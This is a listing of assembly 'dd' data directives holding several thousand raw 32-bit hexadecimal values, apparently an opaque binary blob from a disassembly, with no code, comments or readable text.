dd 646E2396h, 4899B650h, 165362h, 8C6E083Fh, 4514380Fh
dd 40D04FBEh, 0F3BB295Ah, 0DE5C0036h, 421A46A7h, 4F6FBD2Fh
dd 2205C139h, 0E4E0357Dh, 0CEB8009Ch, 0D0119FB5h, 0F7482164h
dd 78BE0290h, 0C0B29252h
dd 0BCA6A8D8h, 46A2C02Ch, 5F581E94h, 180102C6h, 0C2BED30Ch
dd 3CF050C9h, 1A25CE17h, 2F97A060h, 84564328h, 4122BC00h
dd 4DC27247h, 1EB97B66h, 1C69769Dh, 0E30D40A0h, 72CD9AFBh
dd 6AFAE1Fh, 8535CC0h, 7EE4C08Eh, 0FFF7050Ch, 0C14F818Ah
dd 0D8CB3EFEh, 7AEA1A30h, 269F8C00h, 4908047h, 0BA2A00D7h
dd 6877F988h, 6B250CE0h, 0F458A215h, 6F0A1CBh, 0EDC43ED6h
dd 35F4A6h, 314F8066h, 85C0B96h, 278C5A01h, 0A740E5F6h
dd 0C541CCh, 70C25E72h, 0B8367DCEh, 28862300h, 0F251DD68h
dd 9C2F482Bh, 7200813Bh, 0BCBE2D52h, 7A0011CBh, 43E307C9h
dd 79BF3B2Ch, 6D73D3h, 0F84D035Dh, 8E1059F2h, 0E2B02A00h
dd 0A6CB2302h, 77DC02C0h, 0C15D0C97h, 0A428FCE0h, 6E09E907h
dd 2EF0DBCDh, 9E476B83h, 0A6B30298h, 3048C70Dh, 2EF2AC95h
dd 25BE4600h, 0EBC36904h, 5C4E0051h, 7658455Bh, 0A40E4418h
dd 8AF448h, 43D1D239h, 21423DE4h, 0F3B7A780h, 59D6411Ch
dd 0EF96C216h, 1DB2CF07h, 576CD3B0h, 23B704D5h, 0C0DCBC85h
dd 0A39A9C28h, 112548BAh, 4B306131h, 7E19AFE8h, 0A6D0009Fh
dd 33441408h, 0DA0012FDh, 0EE9DB28Dh, 2677CA66h, 7B064F2h
dd 201ABF06h, 73F39231h, 45A0A109h, 0E2BC5001h, 1FF200FDh
dd 8C670EAAh, 0C57FCD62h, 0F0384D1Fh, 0E0E3F100h, 1ECD8E9h
dd 80E8D737h, 30C7210Ah, 180058FCh, 0AB984D9Dh, 0D91419h
dd 0FA151A39h, 4EDAC73Fh, 20787C25h, 0AA4A27C0h, 19C981Eh
dd 0F9D991AFh, 2012389Eh, 497C0B0h, 90D00570h, 9902B3h
dd 32AE6648h, 9653C008h, 3BEED47Fh, 3E28AC0Fh, 2C6981h
dd 889EA4BCh, 0CA2B0327h, 0B546D6D1h, 0E73A80ADh, 8C00C3BAh
dd 65E20EFAh, 5CB321h, 68A53539h, 32FB5859h, 60664C00h
dd 8E9B19BDh, 0E3BC1C2Eh, 27DE001Dh, 620E1D4h, 0E589D8C0h
dd 1670401h, 56A864F5h, 40B084EDh, 0B6E0E1A0h, 0CD407E09h
dd 6D928735h, 5A0F2020h, 24334D77h, 8941905h, 8DBA80F4h
dd 0F2500203h, 592C3FF0h, 0D383C807h, 82A0D19Ch, 285C34h
dd 89118BF0h, 0D4017082h, 0F8F3A90Fh, 0DA605013h, 36B7C51h
dd 0EA8E04Bh, 40C02F72h, 44B0FA05h, 0D74C3E10h, 7DFEE420h
dd 0D9064316h, 0CC1B00FAh, 0C12B6AB2h, 4FA048h, 25D0977Fh
dd 201853h, 45CBA952h, 0DD81EF3Fh, 0F429140Eh, 23FEA25Bh
dd 7F7C404Bh, 0A9F23833h, 40786C18h, 2800A165h, 68DD24C3h
dd 0FEC64BBh, 59C91A14h, 0AFE35C07h, 0E38066E9h, 0E85369D4h
dd 624C1AFAh, 0B71604ACh, 0CCAC8AE7h, 15292600h, 0DA4448A6h
dd 32051200h, 0FD348673h, 98C500C1h, 2DFB8D8Eh, 0AF000ADDh
dd 2851A945h, 20D587Fh, 62E65565h, 0F6E08FE1h, 7A586107h
dd 967B0074h, 0B854274Ah, 0DC7997h, 0C8E393DBh, 2F060CFAh
dd 79DD5209h, 0C9C42024h, 2E141A2Ah, 0F3F592h, 99B1B258h
dd 0F4267BEBh, 2D00B102h, 0A8961A34h, 0BB2101C7h, 0F3F98A06h
dd 4C6AEE58h, 1825F080h, 0A526735Dh, 0F00148C3h, 6F09916Ch
dd 34BC002Bh, 3E04DCF8h, 15024005h, 800F3142h, 0A08CEF1Eh
dd 92CBFD51h, 87E89E67h, 9066A5E6h, 243CB41Bh, 262E0F79h
dd 0A8007845h, 0D8D5FCBEh, 3C549043h, 0A50987DBh, 100497A9h
dd 0C8C1229Bh, 5CCE959Ch, 7901A5h, 3686315h, 0C45DF94Eh
dd 80345839h, 41CEF66Ah, 4C3BC6ECh, 16019C14h, 9C1B3F7Ah
dd 25109E1Dh, 6237BF45h, 7D4B58C1h, 497DBD4h, 7B01B031h
dd 89F7C042h, 66075311h, 9C7294Fh, 0AB3F52A0h, 37FC125Eh
dd 0EEC90377h, 70EF3558h, 11C299B7h, 8F95C47Bh, 0E0BA8E68h
dd 630FF58Dh, 303E0067h, 0C6CF54ACh, 0E0016C2Bh, 0C03D5395h
dd 13E8C16Bh, 234E001Bh, 499F1FC2h, 261E47F8h, 0F6419AC4h
dd 44BFA7Dh, 1CD1B460h, 0C30C6D86h, 1C52AA19h, 7A38B094h
dd 0A0AFA804h, 1CBC92B5h, 0C835138h, 829BF8E3h, 41D2B790h
dd 7F3D3300h, 0A12254DCh, 628A0708h, 0F0018DF9h, 0E83CF350h
dd 9667B83Eh, 0F8007068h, 31250D6Ch, 584813EBh, 0D2084B06h
dd 3E10F403h, 0D40A1100h, 5AA40429h, 9805A26h, 6000CCE0h
dd 0E542F032h, 0E8058A01h, 5335655Fh, 0C056E0h, 0A33B25B8h
dd 542B7416h, 93333D3Dh, 0B500AF65h, 0F6251896h, 0B4CB0403h
dd 0B92A664Fh, 857E007Ch, 7DC65CADh, 42CB01Eh, 426B2553h
dd 0E794F0CAh, 0E9340A00h, 0E85041AAh, 0C15A00AFh, 28D50766h
dd 0D0093CFh, 8436EE10h, 2C8D8364h, 0A8AADEh, 79A0019Dh
dd 62015AB3h, 671D2B75h, 4BFC7035h, 56230C2Dh, 0A31034DEh
dd 1FD5A503h, 0DDB720AEh, 12659C03h, 62313C9Eh, 0B2C7158Fh
dd 0D5D380FEh, 3E4C2C1h, 0EF466A00h, 5C0810AEh, 0F77001Ch
dd 53D451B3h, 0B9006238h, 0DD065A88h, 0ED3B29Fh, 23540515h
dd 0CC8E4EC0h, 70003C9Dh, 5E4AAC56h, 1A888C5h, 22524813h
dd 70B7B307h, 90002371h, 531E5033h, 0F3D8115h, 6529FB36h
dd 9DB878E0h, 0C018EC22h, 0BC41EB21h, 904A583Ch, 79FBF700h
dd 7E42881Eh, 0EA9D2800h, 0AD63D6E7h, 43C80F84h, 18A01AF4h
dd 0B2032A09h, 0F25AB01Ch, 0CE1F02C0h, 0E58EC86h, 772A2BEh
dd 0AE001CCEh, 9B3B7F8Ah, 0F2652600h, 0CC159063h, 0F82C389Ch
dd 0F5FD3EFBh, 0D0807BBAh, 914749AFh, 8008993h, 0E0C506B2h
dd 76FED9Eh, 755C55ECh, 5001B088h, 5E00A431h, 0A0025712h
dd 0C1E9CFh, 368CCE35h, 6E4421EDh, 89B938h, 2D3BFF91h
dd 4F736Bh, 36F8EE3Ch, 6C1E9564h, 0B32BF000h, 41BE3028h
dd 0A405019Fh, 1FF92DDDh, 0E1E0C223h, 0D8FA32EDh, 0C7BCAF00h
dd 6DE13368h, 35D902D7h, 69B405D4h, 0A1D060C0h, 8504931Ch
dd 58DFC080h, 2C6596E2h, 2330584h, 1CB1E3ABh, 7404B45Eh
dd 90BC754Eh, 240CC04Ah, 97011A2Dh, 40AB1E2Fh, 0A3CC2EA6h
dd 434500C9h, 0F086BCF9h, 0BE016EC8h, 0CA5016DFh, 1AFC7B98h
dd 7E8E675h, 0D795665Ch, 10AF906Ch, 0B10B4A79h, 0A074EFE2h
dd 2F21F600h, 724D035Dh, 66247C06h, 1308180Fh, 0BE9D030Eh
dd 7B103C61h, 514E0C00h, 845D90DEh, 0F97C30F6h, 0BD98B23Eh
dd 47EF0015h, 0E66411AFh, 0F5E3002Eh, 0DE1F2D89h, 2F0020A0h
dd 3F4A9057h, 0EA97241Eh, 323E1F21h, 65A000FDh, 677A769Ch
dd 806F6A3Bh, 62B61A94h, 0BE357Bh, 51FE4BBAh, 0EEE1725Dh
dd 98487409h, 0D7FCC0DCh, 0B5473A9Fh, 159E0F03h, 82CB3188h
dd 0B013582Ah, 0A8A29900h, 600E1AFBh, 0C637473h, 2DD2E16Ch
dd 4B001620h, 0E5111406h, 730AAEAAh, 1978003Ah, 7080D56Fh
dd 1B00B0EDh, 2CB5F6FFh, 34A2F62h, 96288C25h, 0F0F7E068h
dd 89E9AD35h, 80885C3Ah, 518D435Fh, 370155h, 877A123Ch
dd 78F3F1E9h, 476AD41Ch, 45764180h, 3192CAh, 0B6CE210Fh
dd 5A894AEEh, 4F3FEF12h, 9E370400h, 0D13065h, 0C85B85FFh
dd 2022DEF9h, 5240B000h, 27C7F028h, 1E5A3C65h, 6A548707h
dd 84617017h, 0AB005D40h, 0F8CBED33h, 0E6992BD0h, 75571F8Ah
dd 3E34056Fh, 0AD845437h, 0CA085A00h, 9881A3D1h, 0DB4AC024h
dd 9EEF3000h, 1861F7h, 5F8EA294h, 0D6AA097h, 0FF621709h
dd 0C12C207Ch, 5F0AF68h, 5F1B5AB6h, 0EF36C013h, 3D607828h
dd 75FA4768h, 14F2E816h, 403F0C6Ch, 368FD60Bh, 4551D03h
dd 6E809DD8h, 77F8CD02h, 0E0E36273h, 427D3DEh, 4B4913D7h
dd 60B0F0BBh, 47E1BA0Fh, 5EFC62D5h, 0DCF4C055h, 43F26Ch
dd 0BEC6616Bh, 0D4E16DC7h
dd 77A6F901h, 0F7C9A802h, 3ACFAE0h, 0D8E363CBh, 4BC8AE4Ch
dd 20921AA9h, 93D14E00h, 97CB3F95h, 31A100C1h, 0CC660996h
dd 627BC854h, 139E2902h, 0A07B5635h, 2536E084h, 1CFAA5h
dd 1D77DBE1h, 16722FAFh, 560FE500h, 3A5946A9h, 0A0BF0A22h
dd 0E1841Fh, 0FEAA8AF6h, 9DB8AFBBh, 3841F909h, 2F18B43h
dd 0DD2B038Ch, 918D2300h, 6AE83A9Eh, 7C4ED500h, 0B58958F0h
dd 41BC3C82h, 0F280D000h, 305D2E74h, 0CABA5F00h, 73CB2B0Bh
dd 9FBC0035h, 802A50AEh, 0A53C4DD2h, 9AC88014h, 0A13EAA7Ch
dd 0BE8500D4h, 5773BF51h, 0B23B8880h, 0A36D8048h, 0E06FB1CDh
dd 0BE8A075Ah, 0A0A78BAAh, 4D9C726Bh, 0BA57DD03h, 0C0C2C077h
dd 11544Eh, 2BE0E247h, 164C639Bh, 0B3805A02h, 8FBE9E1Ah
dd 0AF049480h, 11B86B18h, 0BA076CB7h, 5D74299Eh, 174BA00Fh
dd 77A547C0h, 0E6AB01B4h, 2AB76499h, 492990BDh, 0A2FFB282h
dd 22207F04h, 45819FDFh, 0FC440E08h, 83328493h, 103151D0h
dd 0E789FD42h, 0CF628C08h, 27010D29h, 0BB900891h, 48D20C84h
dd 9B442F9h, 0C921CF24h, 10F512D6h, 0F1C4F416h, 3900FD23h
dd 742C8662h, 0E042B500h, 67EDE1C8h, 0B3FA44h, 58878A52h
dd 0D414F6EAh, 0F015000h, 0F869907Ch, 0E7F50044h, 2A2CEBA0h
dd 0D5F0857Dh, 0B7B0E602h, 6018F607h, 12AF0B16h, 966A83h
dd 3864740Ah, 24000239h, 3F18EE48h, 0A0BA3Dh, 9A32058Dh
dd 0D2966629h, 7A40C538h, 9725Ch, 0F30CF4F9h, 0E2685Bh
dd 4F04D297h, 0B119CB55h, 0D3492C0Eh, 80BEFDEEh, 0E31F0D22h
dd 183D2A1Ch, 1006A22Fh, 0CA0883B6h, 1014A17h, 0A4BB027Eh
dd 0CB29D018h, 657B8509h, 6C2021C2h, 6D304FC0h, 5A910192h
dd 5B3442EEh, 0C4FCDC86h, 3E71CD07h, 0AE90662Eh, 7111224Eh
dd 6890023h, 0C6B5B408h, 3800BFE3h, 1C3103B3h, 1D6DBEEh
dd 0F4E43604h, 0E47F2D05h, 0CF182765h, 44789CABh, 0E9CD00D2h
dd 0E406827Ch, 0FD00B4CEh, 0E8735BB1h, 75A8CAA5h, 0ACBA00A6h
dd 0CF263F52h, 10C002E2h, 6A68B0DDh, 0D27A0E8Ah, 314EEA15h
dd 630143E3h, 0B6B83CD3h, 8F003FBFh, 0E27EE188h, 9F344B2h
dd 5D62CC8Eh, 0E3388E5Dh, 79F9E755h, 7995007Ah, 9D16898h
dd 8C0050EEh, 635BBC53h, 7F344E6Fh, 25300185h, 29FF10DFh
dd 0FDC88080h, 5851B4C2h, 157F0071h, 0AB18DD8Ch, 0CC091ED8h
dd 85521F47h, 68800AA6h, 62252Fh, 3C2D6CA9h, 0E475B673h
dd 0BDD81800h, 0B9F9B09Ah, 2CB3481Ah, 0E2573A09h, 5227FC80h
dd 6A004C43h, 7F329705h, 78C2175Ah, 0EFEEB9h, 0D3569CF2h
dd 86AA87D6h, 33905807h, 0D2402882h, 60A16Eh, 0CEC44E70h
dd 0F03CF80h, 77FCA500h, 28195B87h, 0B5B23E99h, 682200F0h
dd 311FD504h, 15009224h, 47D8B487h, 7DE7479h, 0ADAFB90Eh
dd 0E4BCA007h, 85024ABEh, 839C6742h, 0C34860A3h, 0D5D400BDh
dd 0AD326B0Fh, 751D4F94h, 9340E2F1h, 0C9173D42h, 106E2F6h
dd 49A4C38Dh, 21D5239Bh, 7EA05088h, 5600AD54h, 7F34781Dh
dd 0FED1594h, 9AD348E3h, 67229D00h, 0E898F94Bh, 3FB07907h
dd 33002F8Dh, 9FAA42Bh, 6296787Ch, 428A3000h, 0BB72BDD5h
dd 56BE3E30h, 1D278850h, 0CFFBD1E6h, 0DB255F06h, 5BF20092h
dd 1146F0B9h, 96006E76h, 0DA896131h, 581DB4h, 6AA43D97h
dd 4020928Ch, 0E09BA7Dh, 0D4FA047Bh, 0F23C48h, 187A9772h
dd 7FDFBE98h, 9274A400h, 4E3E5735h, 0D8E0E1h, 6EC6AEDBh
dd 54055BB0h, 0E2001479h, 916BF7EEh, 770A162h, 0BB26B152h
dd 0FC10B01Ah, 2F002999h, 0DBAA897Dh, 1030E78h, 55045EB1h
dd 802D2274h, 94A96DD8h, 636583h, 0B617DA6Eh, 4D35C9AEh
dd 0EF05CE78h, 6B5CB411h, 61BBB800h, 1E2C0229h, 0C0FE7C26h
dd 0F8F20F5h, 7B00F401h, 0B63703D3h, 58552h, 411ABD71h
dd 0A3E7078Dh, 0C989A600h, 0DA77C76Ah, 18041469h, 74DEB2h
dd 0C34C1BCAh, 387D9578h, 33119A00h, 156D2BF1h, 1B213BD9h
dd 2F626C80h, 7BCE4E3Ah, 0A3D47412h, 0E8CBE000h, 1BBB84h
dd 0D09D20Ah, 29A70BCEh, 0DA1AF200h, 13C9AF01h, 784C00BEh
dd 7C2159D9h, 44908965h, 50976E00h, 80D7531Dh, 10FB00B0h
dd 24C672D5h, 6D2C3F51h, 0D60088B2h, 0B736FD35h, 586245Fh
dd 0A6C381E4h, 0CC01D4CDh, 0F0EA4F44h, 9F1FC700h, 9AB81306h
dd 0DD6C00C0h, 0B3E5CBECh, 250005E7h, 0A30C8208h, 28B094CFh
dd 0F880E60h, 34B3B1FAh, 872A8940h, 0A0982E91h, 0E1AD3Eh
dd 0E31E9DF0h, 0E88FD505h, 0F87004h, 7BB1C6FDh, 0ABD925DCh
dd 43941600h, 0DAB8BD91h, 8C230354h, 7533AE93h, 0E4903AD8h
dd 0CC59A109h, 0A0C42F01h, 2E057EB3h, 0D8DE262Bh, 0A2D700E8h
dd 45C9A7Ch, 0E832F3Fh, 60B3BD5Eh, 47D4FD72h, 0DFD10094h
dd 8C60E328h, 5A00A538h, 1E05D279h, 6BF15Eh, 4DDA9675h
dd 0EF475C71h, 0C03B1C90h, 4B0F81FFh, 1DDBB1C4h, 1F8F7EE8h
dd 40305F6Bh, 0AF0C11FCh, 0A963E339h, 991DA1A0h, 676192E8h
dd 867F5400h, 0AFC7687h, 23D1C66Bh, 0B6EC00B8h, 13A330F5h
dd 1744E007h, 0A8E08B4Eh, 599B73h, 1A493982h, 8916FF53h
dd 5C23100h, 0F4BE48Ah, 460C009Fh, 1E8434A4h, 7750A2D1h
dd 191FBC8Fh, 0B99EE2A1h, 1340F0ECh, 16BDB51Bh, 5FC36Eh
dd 0A3281246h, 4E009229h, 0D3DEB6B9h, 0C0A886F6h, 0ACE5A6C8h
dd 9B0053ABh, 0FE16B44Ah, 0DFF4F8h, 9D70D235h, 0D08E8C84h
dd 75AFFA5Ch, 69889600h, 4B6E5E77h, 0E7F83Eh, 0A0ACFD0Bh
dd 0AF2CF9E8h, 2A50E8C0h, 4C2465DDh, 1900A48Fh, 0E89304B4h
dd 0CE319D36h, 22561942h, 0EA92B0E4h, 9C350077h, 0A8D338A1h
dd 72FA09D0h, 4B655407h, 2C80F64Fh, 26B6CACh, 11906926h
dd 16C04C70h, 0AD008DDBh, 7C507F4Fh, 0AC0E64h, 0CFFBB55Dh
dd 0DE3F6EC3h, 0EBD43024h, 80933E00h, 9D2A06h, 1EEDEAD6h
dd 90DE9C5Ch, 4DE41900h, 0A466ECD0h, 0CC812CDh, 0E648008Ah
dd 0AD5CACEh, 880ECFF2h, 200E29D3h, 0F75E9F91h, 0D1F50145h
dd 3A6C6DBEh, 7DFECC7Ah, 0DC368D07h, 9570CB05h, 3F254912h
dd 0A980C74Eh, 69C15CFh, 593D26BBh, 0DF2C00C1h, 2F0219DCh
dd 0DB4A0BADh, 4420068Ah, 0F161EF0Ah, 3C79BF01h, 20DEAF3Fh
dd 2C729DE4h, 3DE888DBh, 37B0D0h, 0A249BF7h, 1859EC85h
dd 1A86650h, 21CF7B02h, 408B5514h, 0B60754h, 8279AA8Ch
dd 83647F62h, 0D9944D05h, 3680FD9Ah, 8D859Bh, 0B256AB17h
dd 0F4AEF342h, 7EA0E550h, 0F33BC00h, 79AB291Bh, 94C800FBh
dd 0C7187085h, 6063F2D9h, 0F8A9E828h, 769BC59h, 38E178ABh
dd 4FD44066h, 0CE001234h, 58FA4B83h, 725970h, 13448D11h
dd 0B63BA1F9h, 0F200F4B8h, 0BF15D912h, 60B156h, 0E6748B62h
dd 0EC2C653Ch, 0BB30D800h, 28B60C3Ah, 0DB0100F7h, 0A1C3B3DAh
dd 4B005F9Bh, 3829724Ah, 1256FC13h, 8B9055h, 8E662454h
dd 391FFE93h, 0F7CBDF35h, 0B1E58767h, 0F0B4C08Eh, 0C1AC80h
dd 0B80A1848h, 0F5F9BCEAh, 0FAA31900h, 9CF87CBh, 0ED080263h
dd 7172419Ch, 0E5D5CC83h, 1CDE09F4h, 0ED350E84h, 1A459A9Dh
dd 4AC80087h, 67444876h, 3FEE4700h, 5E7055E3h, 24981Dh
dd 318D5A92h, 0C93E1AEDh, 343F3Bh, 0E07B3A99h, 30664AFh
dd 978798BAh, 6EB00F69h, 892C5A5Fh, 9B17E417h, 2049A50Eh
dd 0B153229h, 0BBCD00DBh, 82A292E6h, 51023F9Ch, 0DEBFF028h
dd 4E006929h, 0A0E8CC8h
dd 0F6D443BCh, 42800A0h, 9EA8E8EEh, 0C400E4B0h, 5BB667EAh
dd 1CD60DC6h, 447874CAh, 0C19A985Fh, 0D0E28DBAh, 69004A36h
dd 0BE9B1D6Eh, 28786566h, 18C93ADh, 68587ED0h, 603C6A86h
dd 190421F4h, 0EE9EDEF5h, 0CDD4ACD0h, 8B2E4407h, 0AC19800h
dd 4CF9DC7Eh, 377D2Fh, 0E1A46779h, 55B8EC0Fh, 36F75A00h
dd 122FB075h, 95C401E0h, 5EB59BCCh, 133C2054h, 0F3FED508h
dd 0C0AA05EDh, 3CFC1418h, 32C93600h, 0F20BE3E9h, 2EA66601h
dd 2650AA8Bh, 0ED7170h, 7C081CF4h, 5E308F6Bh, 0EF18A701h
dd 0A9FFAE06h, 0B795E8h, 333C4D55h, 8EBB891Ah, 0B9E23C90h
dd 1800524Ah, 0C3468AD8h, 5D891EAEh, 0AF1F0095h, 6E497F45h
dd 250051E2h, 9E79AC6Bh, 4B312360h, 0B7800382h, 16CDE68Dh
dd 7D3700A8h, 7D27A94h, 0FCEBC204h, 0A8D0BD6Fh, 2C3FA8CEh
dd 14E7A4h, 84479888h, 0CC762F01h, 147A7500h, 0E1EEF3A6h
dd 5B8CA0D7h, 93530068h, 73DEB7F7h, 6E0C2533h, 8149C0AEh
dd 0D5EE00DDh, 9F513971h, 0BD046D35h, 0FEBACA38h, 33FFA1C1h
dd 0EBD470h, 40F1FB1h, 0D4DC883h, 96905800h, 0BB378455h
dd 0D0BA129Fh, 0A866001Eh, 745A07B7h, 44130300h, 42865724h
dd 87043F01h, 0C15C9407h, 0B611D0DCh, 903B4715h, 46A500D2h
dd 0A4FB0AF2h, 892C001Eh, 0FD9F0B1Bh, 0D7025196h, 5DA0F034h
dd 87E46063h, 1E152782h, 6D9E3C80h, 0F498B551h, 3F5A1612h
dd 92A93C80h, 31C10108h, 0CC68AFB3h, 486BD0E4h, 0FDB03013h
dd 8A761400h, 50E9B62Ah, 79ECA0h, 83705D9Ch, 1BB0C546h
dd 0FAB4DC00h, 4213C6CEh, 0D760Ah, 44CF043Fh, 0DFF19C30h
dd 3CF3645Ch, 0C9268010h, 397F4238h, 2DA729Bh, 0B805FCDEh
dd 0AB815C4Dh, 712E3776h, 0B2B08105h, 0E7193C5Bh, 0F4AC7DD8h
dd 95F102C4h, 0B0D28C9h, 0F257B481h, 3DED60DAh, 334BBB00h
dd 89218369h, 0E280BDB7h, 3B93F085h, 1304D00Bh, 2F4C001Ah
dd 86C0A695h, 1082C907h, 0E450318Ch, 9CAD84h, 0ECE9643Ah
dd 5A0BC4A4h, 801BEF39h, 462E5F82h, 13694EC0h, 0C4BA0D51h
dd 8A6980F8h, 0EE04435Ch, 0C3A45BEAh, 0A1A3F2C3h, 0B8F0C1D7h
dd 2B0E05D1h, 0A053124Eh, 8626F3B8h, 2C800C83h, 0C9D1F218h
dd 1BA90EC7h, 0CCE5B3ECh, 82F60AA8h, 0DDE200D4h, 8DF14493h
dd 3B785A4Ch, 0E3AC801Eh, 0CDC9D667h, 487B01E8h, 0F336EB0Eh
dd 3B32E409h, 63EF2A00h, 0CCF0F6E7h, 85D10B1Dh, 0C880533Ah
dd 49172634h, 89C90612h, 6E5D1C00h, 0AFF352h, 0F2B51ED1h
dd 3848B83Ch, 7E5Dh, 6BDE34B3h, 8E2331h, 0CF49038Ah, 1E0FDC93h
dd 0B804DB0Eh, 5121A239h, 2847DC98h, 0F3DA0B80h, 6C000C83h
dd 6F26C2CCh, 9012E100h, 0B8E26E6Ch, 0B70E0350h, 8CBD61C1h
dd 2A47C3A9h, 0F3D15800h, 26658E26h, 9E148358h, 22BA1D7Dh
dd 27CBACA8h, 58A235Ch, 4CCFE1BBh, 701BF5C0h, 7C493B58h
dd 9F00CCCCh, 45384A48h, 0C900F1BEh, 0CF0C7A5h, 1F87A9F9h
dd 44FE300Eh, 0D5CC6399h, 449180ECh, 70EAE2F4h, 0B600A490h
dd 68A34BC3h, 189A51BAh, 6171293Ah, 0A000D4CEh, 0B539BF52h
dd 78E72EDh, 0B044F173h, 0B0F305Bh, 6A90800Ah, 5A00F27Ch
dd 3A798298h, 0E891A7A1h, 0DC0700AEh, 0EA4D107Ch, 380016C1h
dd 5D3585FAh, 72FB496Dh, 370800B8h, 8357D33Bh, 2B007386h
dd 8F9F07B6h, 1F1E33Dh, 253CED4Dh, 0C03E4882h, 6400DBABh
dd 5906512Dh, 976B83h, 86D236A6h, 44CD4230h, 38B31B05h
dd 6B802F87h, 0DD8A88h, 0D2A62966h, 0FC75E319h, 0D61FF917h
dd 0BD0B8400h, 0B0BB54h, 52E54A7Dh, 0C5B2F531h, 0D7DD1400h
dd 0FCA2B4FFh, 96DC01EAh, 0AC470C2Ch, 803ADD31h, 74B8DF81h
dd 9E4D99h, 0F5D9A7F0h, 4C42DAD5h, 55AA6A00h, 0B6577787h
dd 8D402495h, 628400F6h, 0D1A50786h, 6B2E5A05h, 8C01BA6h
dd 88AAC3h, 0B517160h, 85E3330Dh, 9A0015B0h, 87647ABAh
dd 0FE324069h, 505900C4h, 909EFB4Dh, 0ED0028C8h, 22A0D3C1h
dd 0F3042Eh, 0EF84FACDh, 4C8031D2h, 5F5D0800h, 5A07A1Dh
dd 90DA094Fh, 618051F7h, 5A851F8Eh, 0E4DE8300h, 15013368h
dd 7DFD00E0h, 0D5EC3D7h, 89033096h, 2588EE62h, 876198D3h
dd 90C900A2h, 39DE243Ah, 0E603F522h, 0C247162Ah, 0BFEC9D0h
dd 7290D1DCh, 0A4D600BFh, 0B19BCF2Ch, 4C0015C6h, 0D587B4BDh
dd 0F2FF63h, 3712E2E3h, 60AA8D2Ch, 509AA907h, 0F97B723h
dd 21602616h, 0C80145Fh, 0DF30E4Bh, 0A94560B9h, 64FAB40h
dd 0BA1B5A17h, 0D6640FFAh, 1A980760h, 0AD0785F0h, 0A796AFCCh
dd 8A0646h, 0D6AF5FAh, 1AF471E4h, 0E231DA01h, 55EF9705h
dd 3A8A60h, 8335073Fh, 0C7ABF6Eh, 59C3FF00h, 0D5FB818h
dd 1BECBDh, 577430EEh, 9C3F80E5h, 0E6CB9100h, 0BF64AFE7h
dd 78B100ABh, 850ACC03h, 1F0189FAh, 5B3E9929h, 39CC501Bh
dd 0A1ED00D5h, 0E8526B12h, 0CC00ECC2h, 0CB7E8F6Ch, 3810EF2h
dd 4C7D373Bh, 4F85AF8h, 1800EAF4h, 0BB85E0D7h, 2DBE8Fh
dd 0C0CAF650h, 9FDAC3DFh, 0F8003E79h, 5895E232h, 2BA08Ah
dd 245674BFh, 9E701F9Ch, 0DF591B00h, 52458794h, 81E709CFh
dd 0A8801C2Bh, 0F5F9FA8Ch, 0F75F2A0Fh, 0F2C09DF0h, 222F49F6h
dd 68F630h, 5A9975D0h, 6C79208Dh, 28F8FD30h, 8FC8DFh, 885D9D97h
dd 2229319Bh, 0E8210828h, 0E16F622h, 64D91A7Fh, 0CCC1D6AFh
dd 0C01F66A1h, 7900DB09h, 7E715013h, 8D2D73h, 9110A6F5h
dd 80E3FA25h, 0B30B5500h, 0B54C0413h, 0DB8A0F3Dh, 0A7AE8D6Bh
dd 499E7D80h, 5307F523h, 0A99211D0h, 0F2C11F90h, 2A170005h
dd 8EE6214Ch, 0B6008937h, 0A2BE3D23h, 18323997h, 0C40B487Ah
dd 0BB0FDF34h, 8B84BFh, 6F132988h, 0E7D9004Ah, 0C9E62F9Eh
dd 5F7F21AEh, 9BA43000h, 59044929h, 12B8DEh, 33790508h
dd 0D067D3AFh, 0FF884107h, 2642FDACh, 7C6440C8h, 7B390037h
dd 9BF7C9EEh, 13770A92h, 47FA5B00h, 1AF30E6h, 73B03865h
dd 9A9CC280h, 0F5A8EC32h, 0F61C8200h, 0D202AD9h, 42890FE0h
dd 8F0F9619h, 0E635E120h, 0BC00234Ah, 0F13B5259h, 847C9Eh
dd 0F5BED32Ch, 17E52A75h, 7178D700h, 0E2FE825Eh, 0E39403DAh
dd 0A9CD914Fh, 1040439Ah, 77000CB8h, 5B7B3618h, 175E9Bh
dd 0B2ADAC8Eh, 0C62013FDh, 0C81A48h, 55A10931h, 885F37h
dd 3DACC92Bh, 181EDBFCh, 6B004FB8h, 0E83AC156h, 7316B9h
dd 0CBFE1D74h, 52A11C3Ch, 0AD065924h, 0C1004B17h, 9326C8BBh
dd 108D0022h, 54D579F4h, 0C100996Ah, 0F9D721DDh, 2A6BA8C6h
dd 0FCB411h, 66A55DB7h, 34539654h, 3C55CC00h, 1E6D6C2Fh
dd 5BC8010Ch, 2D40AD5Fh, 66F7410Ah, 0DF02036h, 642C34FDh
dd 0B0846703h, 0C0E3030Ch, 249CC01Ch, 8014A73Fh, 4253A816h
dd 1300836Ch, 0F61860FFh, 0FE646AB1h, 96E307DEh, 0C0C4CD9Fh
dd 6816BBFAh, 31888700h, 3DDC8AC3h, 497D004Eh, 0D82C0811h
dd 0A301867Fh, 30C9908Ch, 0FA80B0C0h, 871D63C2h, 2900B5EAh
dd 83FF1A61h, 73FA10h, 3D42699h, 0A0A3F8ECh, 7800047Bh
dd 7462F04Dh, 2594C77h, 0E8BF55F3h, 95608184h, 400EA7Fh
dd 51894B25h, 0C068B07Eh, 965CDAB1h, 8C00B659h, 2E7F0A79h
dd 297D9E5h, 749F702Ah, 2840E74Dh, 0EB3F21A4h, 0E65811h
dd 96BB145Ch, 0F55AA2h, 40BE28DEh, 0E5AA300Ah, 7803BA00h
dd 0B5BFE61Bh, 0A92900C1h, 55B089EDh, 2E1D335Fh, 59D24352h
dd 45C42800h, 0E99F8CAh, 0E6348D91h, 0BCE439A0h, 0D00376B6h
dd 0F8AD4D35h, 878B89Ah, 0CCA301B4h, 19BCFAE3h, 6004DC5Dh
dd 9547EB01h, 232C1021h, 923E0460h, 0B7E43940h, 9BE98E80h
dd 0E75834F4h, 0BA01F6FAh, 29F3A756h, 60CE458Ch, 9EBDCC5h
dd 47772F21h, 583BB78Eh, 584616D8h, 0B0E9BF00h, 5B38E2C6h
dd 0B809786Bh, 0FBDC04C2h, 8058CB73h, 8BBEE644h, 64DF1800h
dd 0AFED11E9h, 49040F7Dh, 0BAE33C73h, 0CAA91714h, 4C6218h
dd 0AA13A2B9h, 44E19Dh, 6FF8629Bh, 0AF07318Dh, 574B3D00h
dd 7ADF16DBh, 0E8C80008h, 0F7D13B8Bh, 68125DC5h, 0FC5DE922h
dd 0A045BF87h, 982EFA70h, 2802E8D6h, 3EE49BB9h, 183EF69Eh
